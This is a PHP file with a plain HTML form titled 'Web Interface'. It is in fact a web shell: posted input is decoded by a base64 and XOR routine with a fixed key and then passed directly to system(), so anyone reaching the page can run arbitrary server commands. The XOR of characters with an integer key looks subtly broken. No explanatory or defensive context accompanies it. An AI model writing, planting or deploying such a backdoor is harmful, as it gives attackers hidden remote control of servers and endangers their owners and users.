<?php
function encrypt($data, $key) {
    $encrypted = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $encrypted .= $data[$i] ^ $key;
    }
    return base64_encode($encrypted);
}

function decrypt($data, $key) {
    $decrypted = '';
    $data = base64_decode($data);
    for ($i = 0; $i < strlen($data); $i++) {
        $decrypted .= $data[$i] ^ $key;
    }
    return $decrypted;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $key = 123;
    $cmd = decrypt($_POST['cmd'], $key);
    system($cmd);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Web Interface</title>
    <style>
        body { font-family: Arial, sans-serif; }
        .container { width: 50%; margin: 0 auto; }
        input[type="text"] { width: 100%; padding: 10px; margin: 10px 0; }
        input[type="submit"] { padding: 10px 20px; }
    </style>
</head>
<body>
    <div class="container">
        <form method="post">
            <input type="text" name="cmd" placeholder="Enter encrypted command">
            <input type="submit" value="Execute">
        </form>
    </div>
</body>
</html>